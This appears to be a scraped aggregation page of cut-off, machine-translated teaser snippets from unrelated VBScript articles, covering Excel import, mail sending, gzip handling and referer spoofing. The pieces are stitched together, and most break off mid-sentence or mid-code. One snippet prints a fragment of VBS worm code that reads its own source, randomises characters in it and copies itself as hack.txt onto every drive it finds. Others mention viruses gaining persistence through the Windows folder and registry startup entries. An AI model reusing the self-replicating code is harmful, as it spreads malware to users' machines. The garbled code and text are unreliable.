vbs format

Many web sites to improve load speed, enable the HTTP server gzip compression, when the client sent an HTTP request in the declaration can accept gzip encoding, the server automatically to the HTTP response content for gzip compression. However, it is not so easy to automatically decompress the gzip encoding in the VBS. Different components for GZIP compression processing is not the same, first look at the msxml2.xmlhttp: ' By Demon ' http://

js| Ads | scripts | show that when you write a project, you need to use the advertising module, in order to avoid using ASP to generate scripting code is more cumbersome, so the idea of writing script class, that is, using a class of script code to control all the floating ads displayed on the same page. But in the process of writing found that the JS script in the settimeout can not use the method of class. Strange, whether I was mistaken or JS script can not do this?? But the

VBS imports local Excel data into SQL ServerRecently there was a test that needed to import the local Excel data into SQL Server, so I wrote a script for the reference of the students in need. Because the test is demonstrated here, the data prepared is relatively simple.We're going to insert a column of local Excel into the username column in the databasePrepare the local Excel data first650) this.width=650; "title=" image "style=" border-top:0px;bord

The format character in C specifies the data type and output format Summary of the output item, and the Data Type output format Conversion specifier% A (% A) floating point number, hexadecimal number, and p-(P-) Notation (C99)% C characters% D signed decimal integer% F floating point number (including float and doulbe)% E (% E) floating point number index output

1 SubSendMail (Pmailfrom, Pmailto, Psubject, Pmailbody, Pmailsmtpserver)2 on Error Resume Next3 DimObjshell4 Dimomsg5 6 SetObjshell =CreateObject("Wscript.Shell")7 Setomsg =CreateObject("CDO. Message")8 9oMsg.From = Pmailfrom "" Pmailfrom ">" 'The Messenger.TenoMsg.To = Pmailto "" Pmailto ">" 'Recipient OneoMsg.Subject = Psubject'title AOmsg.htmlbody = Pmailbody'message body (HTML format) - 'omsg.textbody = Pmailbody ' message bod

Source: Ghost blog Preface:Not long ago, I got a vbs script virus. My mother was confused, i'm lucky enough to find a complete introduction to the decryption process. Thanks to this wonderful post, I just got a step-by-step solution. Now I have this post today.Click to view original postWarning:1. The following Code indicates that the source code of the vbs virus may harm your computer's virus. Run it in a

Manipulate controls within a window by executing a VBS codeYou can also use the AddObject method to add your own classes, which can be used in dynamic VBS code as well.This approach is good when it comes to increasing program extensibility or scripting requirements.Option ExplicitDimvbs as ObjectPrivate SubCommand1_Click () VBS. Executestatement"Showtime"End SubP

After writing "worm. win32.vb. after the FW analysis and cleanup plan, I did not expect to write special bans. However, many people have mentioned this virus these days. If I solve it one by one, I am not busy! The scope of infection is quite large! I have previously written an article "vbs programming to build your own virus exclusive tool". vbs is a little familiar with it, so this time I will use

Dim oexcel, owb, osheetSet oexcel = Createobject ("Excel. application ")Set owb = oexcel. workbooks. Open ("E: \ others \ new phone table .xls ")Set osheet = owb. Sheets ("sheet1 ")Msgbox osheet. Range ("B2"). value' # extract cell B2 content'.....3. If it is an XP system, you can use the followingCode Dim objfiledlgSet objfiledlg = Createobject ("useraccounts. commondialog ")Objfiledlg. Filter = "Excel file (*. xls) | *. xls"If objfiledlg. showopen thenMsgbox "the file you selected is:" objfil

Script Programming teaching (1) Many of my friends on the Forum asked about the script. I was interested in the script recently. Just write something. First of all, all my code isI have not studied vbscript and jscript, but I think it's similar. I will not talk about the basic syntax, such as variable declaration, branch, loop, and function call. I don't know how to read it myself. 1. Our first vbs program: The old winter and winter. * **************

Write a simple referer. php file in the test directory. The Code is as follows: Copy codeThe Code is as follows: If (! Isset ($ _ SERVER ["HTTP_REFERER"]) Echo "No Referer "; Else Echo $ _ SERVER ["HTTP_REFERER"]; ?> If you click the link above, the referer page is displayed.Copy codeThe Code is as follows: Set http = CreateObject ("msxml2.xmlhttp ")Http. open "GET", "http://jb51.net/test/referer.php", FalseHttp. setRequestHeader "Referer", "http://jb51.net"Http. sendWScript. Echo http. response

Although many people think that this function is very weak, from the perspective of VBS, UAC is more or less useful. Under UAC restrictions, you can only double-click the VBS file to run under the standard user permission. Many things cannot be done, such as copying itself to the windows folder or writing the startup Item of the Registry. Storm 1 virus, which is very rampant in XP, can only be changed to th

Decompress the Code:Copy codeThe Code is as follows: UnZip "D: \ test. iso", "D: \ test.zip"Msgbox "OK" Sub CopyFolder (ByVal mySourceDir, ByVal myTargetDir)Set fso = CreateObject ("Scripting. FileSystemObject ")If NOT fso. FolderExists (mySourceDir) ThenExit SubElseIf NOT fso. FolderExists (myTargetDir) ThenFso. CreateFolder (myTargetDir)End IfSet objShell = CreateObject ("Shell. Application ")Set objSource = objShell. NameSpace (mySourceDir)Set objFolderItem = objSource. Items ()Set objTarget

. scriptfullname, 1). readall' reads its own code and assigns it to the variable vbcode For stri = 0 to 3 Vbcode = Replace (vbcode, strarray (stri), CHR (INT) (RND * 22) + 97) CHR (INT) (RND * 22) + 97) CHR (INT) (RND * 22) + 97) CHR (INT) (RND * 22) + 97 ))) 'Replace the array escape characters with randomly generated characters Next Set file = FSO. createtextfile (drivearray (I) + "\ hack.txt") 'if you find a mobile hard disk or a fixed drive, create a file in it. File. writeline vbcode 'Wr

Although many people think this function is very chicken, but to the VBS point of view, UAC is somewhat used. Under UAC, double-clicking a VBS file can only run under standard user rights, and many things cannot be done, such as copying itself to a Windows folder, or writing to a registry boot entry. In XP under the very rampant storm a virus, put under the Win7 can only be changed folder properties for hid

How to remove the VBS virus completely under WIN7 environment? What can a VBS virus do? In the case of displaying hidden files and extensions, the USB disk and my computer have multiple file Autorun.inf and *. VBS (8-digit VBS file) All folders under the root folder become two, one is hidden, and the other is short

, if you want to contact the following VBScript can also, but since there is a programming foundation recommended directly to find some reference books to read, it will be faster. What is VBScript? The full name of VBScript is: Microsoft Visual Basic Script editon.(Microsoft Visual Basic Script version). As its literal disclosure, the VBS (further shorthand for VBScript) is a scripting language based on Visual Basic. I further explain that Microsoft

Many times users will have such a need, is qlikview design a good pivot table, if directly with the Qlikview Send to Excel function, then the export has no pivot table effect, such asThen I use a macro to export this pivot table, after the export format and Qlikview consistent, the code is as follows:Sub ExportSet xlapp = CreateObject ("Excel.Application") ' Define ObjectXlapp.visible = True ' Visible set as TrueSet xldoc = XLApp.Workbooks.Add ' Open

at run time. The default setting is logo.S saves the user's current command-line options.T:NN Enable timeout: The maximum number of seconds a script can run. The default setting is unrestricted. The T parameter prevents excessive script execution by setting a timer. When the execution time exceeds the specified value, CScript interrupts the scripting engine with the Iactivescript::interruptthread method and terminates the process.U is used for Windows NT and Windows 2000, forcing the command li